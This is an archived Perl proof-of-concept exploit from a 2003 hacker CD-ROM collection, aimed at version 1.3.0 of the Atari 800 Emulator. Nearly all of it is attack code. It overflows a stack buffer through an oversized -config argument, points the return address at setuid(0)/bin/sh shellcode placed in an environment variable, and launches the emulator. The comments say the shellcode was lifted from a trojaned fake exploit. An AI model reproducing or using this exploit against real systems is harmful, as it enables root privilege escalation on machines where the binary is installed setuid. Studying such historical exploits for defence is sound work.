home *** CD-ROM | disk | FTP | other *** search
/ H4CK3R 14 / hacker14.iso / exploits / synatari / SynAtari800.pl
Encoding:
Perl Script  |  2003-08-19  |  1.5 KB  |  45 lines

  1. #!perl
  2.  
  3. ########################################################
  4. # PoC By OpTiKoOl, for Atari 800 Emulator, Version 1.3.0
  5. # based on 
  6. # http://www.securityfocus.com/archive/1/331518/2003-08-01/2003-08-07/0
  7. # -
  8. # This PoC exploits a bof in parsing a very long config file ( > 250 bytes )
  9. # As in the advisory there's other bofs. but i just researched this one to
  10. # make a Proof-Of-Concept Code. 
  11. # In Gentoo Linux (distro where this poc was developed) there isn't any suid
  12. # atari800 binaries. i suppose.. :D
  13. # -
  14. # Tested against Atari800 from portage.
  15. # OpTiKoOl@syners.org & OpTiKoOl@psyfreakz.org
  16. # -
  17. # Big kiss to Neuza ;* ehehe The Buf Smashing The Stack! lol
  18. # and a fucking shout to psychedelic ppl, you rockZ!
  19. # Stay Fresh!
  20.  
  21. sub head {
  22. print "#####################################################
  23. # PoC against Atari 800 Emulator, Version 1.3.0
  24. # by OpTiKoOl\@syners.org and OpTiKoOl\@psyfreakz.org
  25. # 02/08/2003, CopyLeft by OpTiKoOl ...
  26. # http://www.syners.org/ & http://psyfreakz.org/
  27. # -
  28. # Big Kiss 2 Neuza ;* Chuak! Chuak!
  29. #\n";
  30. }
  31.  
  32. # this sc was ripped from a fake (trojaned) exploit...
  33. # but this is a real shellcode, so enjoy :D
  34.  
  35. $shellcode =     "\x31\xdb\x89\xd8\xb0\x17\xcd\x80" #setuid 0
  36.     .    "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c"
  37.     .    "\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb"
  38.     .    "\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";
  39.  
  40. $buf = "SYNERSOWNZ" x 25;
  41. $ENV{'SYNERS'} = $shellcode;
  42. $buf .= "\xad\xff\xff\xbf";
  43. &head;
  44. exec("/usr/bin/atari800 -config $buf");
  45.